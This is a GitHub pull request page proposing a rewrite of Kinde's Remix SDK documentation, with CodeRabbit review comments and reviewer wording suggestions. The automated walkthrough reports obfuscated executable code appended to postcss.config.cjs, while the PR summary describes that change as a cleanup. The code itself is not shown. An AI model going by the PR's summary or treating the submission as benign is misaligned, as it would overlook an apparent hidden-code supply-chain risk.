Skip to content

fix: remix sdk doc#638

Open
p-stam001 wants to merge 13 commits intokinde-oss:mainfrom
p-stam001:main
Open

fix: remix sdk doc#638
p-stam001 wants to merge 13 commits intokinde-oss:mainfrom
p-stam001:main

Conversation

@p-stam001
Copy link
Copy Markdown

@p-stam001 p-stam001 commented Dec 9, 2025

Description (required)

Remix SDK guide has been restructured to mirror the Next.js SDK format: clearer install/setup steps, auth flow guidance, route protection, session helper reference, refresh guidance, i18n, and management API note. Updated frontmatter metadata/date accordingly.
Key updates (see src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx):
Added install + callback URL + .env configuration section matching the Next.js guide structure.
Clarified auth route setup and login/register/logout patterns with organization and return-to examples.
Added route-protection example that returns headers for background token refresh and a callback hook example after auth.
Documented getKindeSession helpers in a table with grouped explanations for claims, tokens, flags, permissions, and organizations.
Refined refresh-token examples with imports and guidance on preserving headers, plus a dedicated i18n section.

Summary by CodeRabbit

  • Documentation
    • Expanded the Remix SDK backend guide into a full integration walkthrough: installation, env/config (audience, cookie/domain, preview), auth/session handling, client-side auth context, route protection, token refresh patterns, management API, organizations, portal usage, analytics, i18n, health/debug notes, and migration tips.
  • Chores
    • Cleaned PostCSS configuration to remove unintended appended runtime content.

@p-stam001 p-stam001 requested a review from a team as a code owner December 9, 2025 08:57
@github-actions github-actions bot added the sdk label Dec 9, 2025
@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai bot commented Dec 9, 2025

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review

Walkthrough

The Remix SDK docs were expanded into a comprehensive backend integration guide (installation, env, auth routes, session management, client/provider usage, refresh flows, organizations, portal, analytics, i18n, health/debug, migration). A separate config file now contains appended executable/obfuscated code. (≤50 words)

Changes

Cohort / File(s) Summary
Remix SDK Documentation Expansion
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
Major content addition and reorganization (+402/-78): updated metadata and expanded guide to include Installation (starter kit, deps), Environment variables (including KINDE_AUDIENCE, cookie domain, preview notes), Auth route handler & custom base path, Server & Client session APIs (claims, tokens, feature flags, permissions, org helpers), client KindeProvider example, route protection and redirect patterns (static and dynamic), refresh token strategies (auto/manual/mutation), Management API loader example, organizations flow, self-serve portal usage (portalUrl, subNav, returnUrl), analytics (UTM), i18n (lang param), health/debug behavior, state cookie validation fixes, and migration guidance.
PostCSS Config — appended executable code
postcss.config.cjs
Export remains but file now has additional top-level executable/minified/obfuscated code appended after the module export. Introduces global side effects, runtime requires/conditional module handling, and potential security/runtime implications; requires careful review.

Sequence Diagram(s)

sequenceDiagram
    participant Client as Client (Browser)
    participant Remix as Remix App (Server)
    participant Kinde as Kinde Auth/API

    Client->>Remix: Request protected route
    Remix->>Remix: Loader calls getKindeSession (checks cookies, tokens)
    alt no valid session
        Remix->>Client: Redirect to /auth/login?returnTo=...
        Client->>Kinde: User authenticates (browser -> Kinde)
        Kinde-->>Client: Redirect back to /auth/callback with code/state
        Client->>Remix: Callback request (/auth/callback) with code/state
        Remix->>Kinde: Exchange code for tokens
        Kinde-->>Remix: ID token, access token, refresh token
        Remix->>Remix: Create/rotate session, set cookies (possibly subdomain)
        Remix->>Client: Redirect to returnTo
    else valid session
        Remix-->>Client: Serve protected resource (loader returns user/auth data)
    end
Loading

Estimated code review effort

🎯 5 (Critical) | ⏱️ ~120 minutes

Poem

🐰
I hopped through lines and updated maps,
Added tokens, routes, and friendly naps,
Starter kit, portal, lang in play,
Cookies tucked for subdomain sway,
A jaunty hop — the guide’s hooray! 🥕

🚥 Pre-merge checks | ✅ 1 | ❌ 2

❌ Failed checks (1 warning, 1 inconclusive)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Title check ❓ Inconclusive The title 'fix: remix sdk doc' is partially related to the changeset—it refers to a documentation update for the Remix SDK, which is accurate, but it is overly vague and generic. It does not clearly indicate that the guide was comprehensively restructured to mirror the Next.js SDK format or convey the scope of substantial content additions across multiple sections (installation, environment config, route protection, session management, organizations, portal, analytics, i18n, etc.). The word 'fix' is also imprecise given the nature being primarily a guide restructuring and expansion. Revise the title to be more specific and descriptive, such as 'docs: restructure Remix SDK guide to match Next.js format and expand integration coverage' or 'docs: expand Remix SDK documentation with installation, config, and best practices'.
✅ Passed checks (1 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 60a5fe3 and bf6b327.

📒 Files selected for processing (1)
  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (9 hunks)
🧰 Additional context used
🧠 Learnings (1)
📚 Learning: 2024-11-12T06:00:08.396Z
Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the `/kinde-apis/management` and `/kinde-apis/frontend` pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.

Applied to files:

  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx

[grammar] ~41-~41: Ensure spelling is correct
Context: ...apps with Kinde authentication. New to Kinde? [Get started here](/get-started/guides/...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~43-~43: Use a hyphen to join words.
Context: .../first-things-first/). ## Create a back end application in Kinde The Remix SDK ...

(QB_NEW_EN_HYPHEN)


[grammar] ~45-~45: Use a hyphen to join words.
Context: ... in Kinde The Remix SDK works with back end applications. Create one in Kinde. S...

(QB_NEW_EN_HYPHEN)


[grammar] ~185-~185: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde session helpers jsx const { getUs...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)

🔇 Additional comments (7)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (7)

72-85: Good structure for auth route setup.

Clear setup instructions, correct file path pattern, proper type imports, and helpful clarification about route responsibilities.


87-139: Authentication flows are well-structured with good patterns.

Clear examples for sign up, sign in, org-specific login, and logout. The returnTo parameter pattern (line 124) is a UX best practice for returning users to their origin page after auth.


141-166: Excellent route protection pattern with proper header propagation.

The loader-based guard with header propagation ensures refresh tokens work correctly in background. The aside note clearly explains this critical requirement.


168-183: Callback pattern is clear and well-documented.

Good example showing how to perform side effects after authentication. The onRedirectCallback receives the user object as expected.


185-261: Comprehensive session helpers documentation with good organization.

Clear code examples, complete method table with proper section anchors, and well-grouped detailed descriptions for claims, authentication, feature flags, permissions, and organizations. Documentation structure mirrors Next.js SDK guide as intended.


286-299: Internationalization section is clear and follows Remix patterns.

Good example showing how to set language preference via search parameters.


301-303: Management API reference is appropriately brief.

Simple pointer to external library documentation.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between bf6b327 and f427fe6.

📒 Files selected for processing (1)
  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (6 hunks)
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2024-11-12T06:00:08.396Z
Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the `/kinde-apis/management` and `/kinde-apis/frontend` pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.

Applied to files:

  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
📚 Learning: 2025-09-04T02:15:38.458Z
Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.

Applied to files:

  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx

[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~52-~52: Ensure spelling is correct
Context: ...mix-starter-kit). Clone it and add your Kinde application details. ## Install for an...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~263-~263: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde Auth data - Server jsx const { ge...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~388-~388: Use a hyphen to join words.
Context: ...org` or use the Management API. ## Self Serve Portal Send users to the self-ser...

(QB_NEW_EN_HYPHEN)

🔇 Additional comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)

43-481: Overall structure and content quality look good.

The documentation has been comprehensively restructured to align with the Next.js SDK format. The coverage is thorough, including installation, environment configuration, route handlers, middleware, authentication flows, Kinde Auth APIs (server and client), management API integration, organizations, analytics, i18n, and troubleshooting sections. Code examples are consistent and properly demonstrate best practices like header propagation for automatic token refresh. The organization is logical and follows a clear progression from setup to advanced topics.


60-60: Both documentation links are valid and exist in the repository.

The links at line 60 (/build/applications/add-and-manage-applications/) and line 390 (/build/self-service-portal/self-serve-portal-for-orgs/) point to existing documentation pages and are correctly referenced.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between f427fe6 and 073d48b.

📒 Files selected for processing (1)
  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (7 hunks)
🧰 Additional context used
🧠 Learnings (1)
📚 Learning: 2025-09-04T02:15:38.458Z
Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.

Applied to files:

  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx

[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~52-~52: Ensure spelling is correct
Context: ...mix-starter-kit). Clone it and add your Kinde application details. ## Install for an...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~284-~284: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde Auth data - Server jsx const { ge...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)

🔇 Additional comments (9)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (9)

33-33: Verify the updated date is intentional.

The frontmatter date is set to "2024-01-15", which is in the past. For a restructuring PR created on 2025-12-09, confirm whether this should be updated to the current date or if there's a reason to retain the older date.


50-82: Installation and configuration sections are well-structured. Clear organization of new/existing project flows, callback URLs, and environment setup. The optional KINDE_AUDIENCE parameter is properly documented.


84-119: Auth route and middleware setup is idiomatic Remix. The single-route approach with handleAuth is clean. Middleware pattern using loaders and headers for background token refresh is well-explained and correct.


121-165: Provider setup correctly bridges server and client state. The loader-based data hydration pattern with KindeProvider is idiomatic Remix and properly typed. Headers are correctly threaded for token refresh.


167-282: Authentication flows are comprehensive and well-documented. Sign up, login, logout, organization routing, internationalization, and return-to patterns are all clearly explained with practical examples. The onRedirectCallback hook for post-auth side effects is properly documented.


284-358: Server and client data sections are well-organized and practical. Methods are grouped logically by function (claims, auth, flags, permissions, organizations). Client example effectively demonstrates data hydration from server loaders to components.


360-391: Protected route example is complete and demonstrates best practices. Auth check with proper redirect and returnTo parameter for UX recovery is well-implemented. Headers threading is correct.


442-591: Remaining sections are comprehensive and well-documented. Organizations, Self-Serve Portal (correctly hyphenated ✓), Analytics, Internationalization, Audience, subdomains, preview URLs, health check, and troubleshooting are all clearly explained with practical examples. Management API correctly references the separate package.


60-60: Past review comments have been properly addressed. Hyphenation corrections ("back-end" at line 60 and "Self-Serve Portal" at line 461) are in place per previous feedback.

Also applies to: 461-461

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)

43-48: Consider consolidating duplicate Internationalization sections.

The guide includes internationalization content in two places: a subsection under "Sign up and sign in" (lines 221–234) and a standalone "Internationalization" section (lines 513–526) with identical information about setting the lang parameter.

Consolidate these into a single section or clarify the distinction (e.g., one is auth-specific, the other is general guidance). Alternatively, the top-level section could be removed if the subsection within auth flows is sufficient.

Also applies to: 221-234, 513-526


206-219: Clarify or consolidate Organizations content.

Organizations are discussed in two places:

  • Lines 206–219: Logging into specific organizations during authentication (org_code parameter)
  • Lines 448–465: Broader organizations section covering login and creation

Consider whether this separation is intentional (auth-specific vs. org management) or if it should be consolidated into a single, well-organized section for clarity.

Also applies to: 448-465

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 073d48b and 2d3fa9e.

📒 Files selected for processing (1)
  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (7 hunks)
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2024-11-12T06:00:08.396Z
Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the `/kinde-apis/management` and `/kinde-apis/frontend` pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.

Applied to files:

  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
📚 Learning: 2025-09-04T02:15:38.458Z
Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.

Applied to files:

  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx

[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~52-~52: Ensure spelling is correct
Context: ...mix-starter-kit). Clone it and add your Kinde application details. ## Install for an...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)


[grammar] ~284-~284: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde Auth data - Server jsx const { ge...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)

🔇 Additional comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)

60-60: Excellent: previous issues have been resolved.

  • Line 60: "back-end" is now correctly hyphenated ✓
  • Line 467: "Self-Serve Portal" heading is now correctly hyphenated ✓
  • Lines 405–425: Import statements are now present in refresh token examples ✓

Also applies to: 467-467, 405-425


1-597: Well-structured comprehensive guide with solid code examples.

The restructuring mirrors the Next.js SDK format effectively:

  • Installation paths (new/existing projects) are clear and actionable
  • Route handler setup (lines 84–95), middleware (lines 101–119), and provider setup (lines 121–165) are well-documented with working examples
  • Kinde Auth data methods are logically grouped into categories (claims, auth, flags, permissions, orgs)
  • Refresh token patterns include proper imports and preserve headers for background rotation
  • New sections (Management API, Analytics, Audience, Subdomains, Preview URLs, Debug mode, Health check, Migration guide) provide comprehensive coverage

Code examples consistently follow Remix conventions (LoaderFunctionArgs, ActionFunctionArgs, useLoaderData, redirect/json responses) and are copy-paste ready.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

245-256: Add missing imports for copy-paste usability.

This code block uses LoaderFunctionArgs, json, redirect, and getKindeSession without imports. For consistency with other examples in this doc, include the necessary imports.

🔎 Suggested fix
+import { json, LoaderFunctionArgs, redirect } from "@remix-run/node";
+import { getKindeSession } from "@kinde-oss/kinde-remix-sdk";
+
 export const loader = async ({request}: LoaderFunctionArgs) => {
   const {getUser, headers} = await getKindeSession(request);
🤖 Fix all issues with AI agents
In @src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx:
- Line 33: The frontmatter 'updated' field in the document is stale (shows
2024-01-15); update the 'updated' field value to the current date (e.g.,
2025-12-09 or today's date) in the same file so the metadata reflects the PR's
changes.
- Around line 407-418: The exported Remix action is currently named
updateProfile which Remix won't recognize as a route action; rename the function
export from updateProfile to action (keep the implementation the same: async ({
request }: ActionFunctionArgs) => { ... }) and update any internal references to
use action so Remix can pick up the route handler, ensuring you still import
json, ActionFunctionArgs, and getKindeSession and return json({ user }, {
headers }) as before.
- Around line 114-131: The docs import KindeProvider from the package
@kinde-oss/kinde-auth-react but the install section only references
@kinde-oss/kinde-remix-sdk; update the install instructions to mention
@kinde-oss/kinde-auth-react as an optional dependency required when using the
KindeProvider (client-side auth state), and add a brief note near the example
calling out that you must install @kinde-oss/kinde-auth-react if you plan to use
KindeProvider in app/root.tsx.
- Around line 472-479: The docs example uses PortalPage from the external
package "@kinde/js-utils" but the install section doesn’t mention this optional
dependency; update the installation or the example with a short note that
PortalPage (and related portal helpers) come from "@kinde/js-utils" and must be
installed when using portal features (referencing PortalPage in the example) —
either add a one-line inline note next to the import or add the package to the
prerequisite install list so readers know to npm/yarn add @kinde/js-utils when
using portal utilities.
🧹 Nitpick comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

525-528: Clarify multi-audience env var syntax.

The inline # comment may not work in all .env parsers (some treat it as part of the value). Consider showing the multi-audience example on a separate line with a preceding comment, and quote values with spaces.

🔎 Suggested fix
 ```shell
 KINDE_AUDIENCE=<your-api>
-KINDE_AUDIENCE=<api-one> <api-two>  # multiple audiences (space separated)
+# Multiple audiences (space-separated)
+KINDE_AUDIENCE="<api-one> <api-two>"
</details>

</blockquote></details>

</blockquote></details>

<details>
<summary>📜 Review details</summary>

**Configuration used**: Repository UI

**Review profile**: CHILL

**Plan**: Pro

<details>
<summary>📥 Commits</summary>

Reviewing files that changed from the base of the PR and between 2d3fa9e6656e82f979d11b157c119d19fabab00f and 6cebbc9190aa2e84d4f6c848da0fc87645a77da8.

</details>

<details>
<summary>📒 Files selected for processing (1)</summary>

* `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`

</details>

<details>
<summary>🧰 Additional context used</summary>

<details>
<summary>🧠 Learnings (6)</summary>

<details>
<summary>📓 Common learnings</summary>

Learnt from: victoreronmosele
Repo: kinde-oss/documentation PR: 647
File: src/content/docs/developer-tools/sdks/native/ios-sdk.mdx:278-297
Timestamp: 2025-12-27T18:42:35.893Z
Learning: In Kinde iOS SDK documentation (src/content/docs/developer-tools/sdks/native/ios-sdk.mdx), when parameters like loginHint and connectionId are documented, it is preferred to list them in the API reference Arguments section and link to detailed documentation pages rather than duplicating detailed descriptions, format specifications, and validation rules inline. This follows the "document once, reference anywhere" principle.


</details>
<details>
<summary>📚 Learning: 2024-11-12T06:00:08.396Z</summary>

Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the /kinde-apis/management and /kinde-apis/frontend pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.


**Applied to files:**
- `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`

</details>
<details>
<summary>📚 Learning: 2024-10-22T06:12:51.559Z</summary>

Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 226
File: src/content/docs/developer-tools/sdks/backend/nextjs-sdk.mdx:0-0
Timestamp: 2024-10-22T06:12:51.559Z
Learning: The Kinde documentation's base URL is not kinde.com, so links to the documentation should use the correct base URL.


**Applied to files:**
- `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`

</details>
<details>
<summary>📚 Learning: 2024-10-22T06:13:23.808Z</summary>

Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 226
File: src/content/docs/developer-tools/sdks/backend/nextjs-sdk.mdx:0-0
Timestamp: 2024-10-22T06:13:23.808Z
Learning: In the Kinde documentation, links may use localhost URLs that are fixed to relative paths, and the docs base URL is not kinde.com.


**Applied to files:**
- `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`

</details>
<details>
<summary>📚 Learning: 2025-09-04T02:15:38.458Z</summary>

Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.


**Applied to files:**
- `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`

</details>
<details>
<summary>📚 Learning: 2025-12-27T18:42:29.479Z</summary>

Learnt from: victoreronmosele
Repo: kinde-oss/documentation PR: 647
File: src/content/docs/developer-tools/sdks/native/ios-sdk.mdx:278-297
Timestamp: 2025-12-27T18:42:29.479Z
Learning: In MDX documentation files (e.g., any API reference docs), when documenting parameters (like loginHint, connectionId), prefer listing them in the API reference Arguments section and link to detailed documentation pages instead of duplicating descriptions, format specs, or validation rules inline. This follows the 'document once, reference anywhere' principle.


**Applied to files:**
- `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`

</details>

</details><details>
<summary>🪛 LanguageTool</summary>

<details>
<summary>src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx</summary>

[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix.  New to Kinde? [Get started here](/get-started/guides/...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)

---

[grammar] ~53-~53: Ensure spelling is correct
Context: ...th back-end applications. Create one in Kinde. See [Add and manage applications](/bui...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)

---

[grammar] ~328-~328: Ensure spelling is correct
Context: ...ation()` - `getUserOrganizations()`  ## Kinde Auth data - Client  Pass data from your...

(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)

</details>

</details>

</details>

<details>
<summary>🔇 Additional comments (3)</summary><blockquote>

<details>
<summary>src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (3)</summary><blockquote>

`353-384`: **LGTM!**

The protected route example is complete with all necessary imports, proper loader structure, headers propagation for token refresh, and `returnTo` parameter usage. This demonstrates the recommended pattern clearly.

---

`420-439`: **LGTM!**

The Management API section provides a clear server-side example with proper imports and headers propagation.

---

`568-577`: **LGTM!**

The "State not found error" section clearly explains the cause (domain mismatch between auth start and callback) and provides actionable solutions. This will help developers troubleshoot a common issue.

</blockquote></details>

</blockquote></details>

</details>

<!-- This is an auto-generated comment by CodeRabbit for review status -->

@onderay onderay requested review from a team, Koosha-Owji and dtoxvanilla1991 January 16, 2026 06:25

This SDK is for developers using Remix.

New to Kinde? [Get started here](/get-started/guides/first-things-first/).
Copy link
Copy Markdown

@KomanRudden KomanRudden Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'll just add suggestions down the document like below. Please don't feel the need to use them :-) Just ideas

New to Kinde? Refer to the Getting Started guide.

New to Kinde? [Get started here](/get-started/guides/first-things-first/).

## Create a back end application in Kinde
## Install for a new project
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Installation – New Project

The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details.

## Install the Kinde Remix SDK into your Remix project
## Install for an existing project
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Installation – Existing Project

## Install for a new project

The Remix SDK works with back end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/).
The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details.
Copy link
Copy Markdown

@KomanRudden KomanRudden Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"quickest" -> "fastest"

"Clone it" -> "Clone the repository"

<PackageManagers pkg="@kinde-oss/kinde-remix-sdk" />

## **Set callback URLs**
If you plan to use the optional client-side `KindeProvider` example below, also install `@kinde-oss/kinde-auth-react`:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you intend to use the optional client-side KindeProvider component (illustrated in the example below), also install the React authentication helpers:

yarn add @kinde-oss/kinde-auth-react
```

If you want to use portal navigation helpers (for example `PortalPage`), install `@kinde/js-utils`:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To utilize portal navigation utilities (e.g., PortalPage), install the JavaScript utilities package:


The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/).

1. In Kinde, go to **Settings > Applications > [Your app] > View details**.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"In Kinde" -> "In the Kinde dashboard"

The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/).

1. In Kinde, go to **Settings > Applications > [Your app] > View details**.
2. Add your callback URLs in the relevant fields. For example:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"relevant" -> "corresponding"


1. In Kinde, go to **Settings > Applications > [Your app] > View details**.
2. Add your callback URLs in the relevant fields. For example:
- Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback`
Copy link
Copy Markdown

@KomanRudden KomanRudden Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Allowed callback URLs (redirect URIs) - e.g. http://localhost:3000/kinde-auth/callback

1. In Kinde, go to **Settings > Applications > [Your app] > View details**.
2. Add your callback URLs in the relevant fields. For example:
- Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback`
- Allowed logout redirect URLs - for example `http://localhost:3000`
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Allowed logout redirect URLs - e.g. http://localhost:3000

2. Add your callback URLs in the relevant fields. For example:
- Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback`
- Allowed logout redirect URLs - for example `http://localhost:3000`
3. Select **Save**.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"Select" -> "Click"

## Configure environment variables

While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the Environment variables for your application.
While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the environment variables for your application. Add `KINDE_AUDIENCE` if you need to call a protected API.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

